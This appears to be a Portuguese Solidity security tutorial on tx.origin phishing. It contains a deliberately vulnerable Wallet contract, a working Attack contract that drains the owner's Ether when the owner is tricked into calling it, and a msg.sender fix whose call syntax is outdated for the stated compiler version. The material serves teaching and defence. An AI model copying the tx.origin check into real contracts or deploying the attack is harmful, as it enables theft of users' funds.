Phishing com tx.origin
WEB3DEV Team
# Phishing com tx.origin
# Qual é a diferença entre
msg.sender
e tx.origin
?
Se o contrato A chama o B, e B chama C, em C msg.sender
é B e tx.origin
é A.
# Vulnerabilidade
Um contrato malicioso pode enganar o proprietário de um contrato, chamando uma função que somente o proprietário seria capaz de chamar.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
/*
Carteira é um contrato simples em que somente o proprietário deve ser capaz de
transferir Ether para outro endereço. Wallet.transfer() usa tx.origin para confirmar
que quem chama é o proprietário. Vamos ver como podemos hackear esse contrato
*/
/*
1. Alice implanta Wallet com 10 Ether
2. Eve implanta Attack com o endereço do contrato da Wallet de Alice.
3. Eve engana Alice com uma chamada Attack.attack()
4. Eve rouba com êxito Ether da carteira da Alice
O que aconteceu?
Alice foi enganada com uma chamada Attack.attack(). Dentro de Attack.attack(),
foi solicitada uma transferência de todos os fundos da carteira da Alice
para o endereço da Eve. Já que tx.origin na Wallet.transfer() é igual ao
do endereço da Alice, a transferência foi autorizada. A carteira transferiu
todo Ether para Eve.
*/
contract Wallet {
address public owner;
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
address payable public owner;
Wallet wallet;
constructor(Wallet _wallet) {
wallet = Wallet(_wallet);
owner = payable(msg.sender);
}
function attack() public {
wallet.transfer(owner, address(wallet).balance);
}
}
# Técnicas preventivas
Use msg.sender
ao invés de tx.origin
function transfer(address payable _to, uint256 _amount) public {
require(msg.sender == owner, "Not owner");
(bool sent, ) = _to.call.value(_amount)("");
require(sent, "Failed to send Ether");
}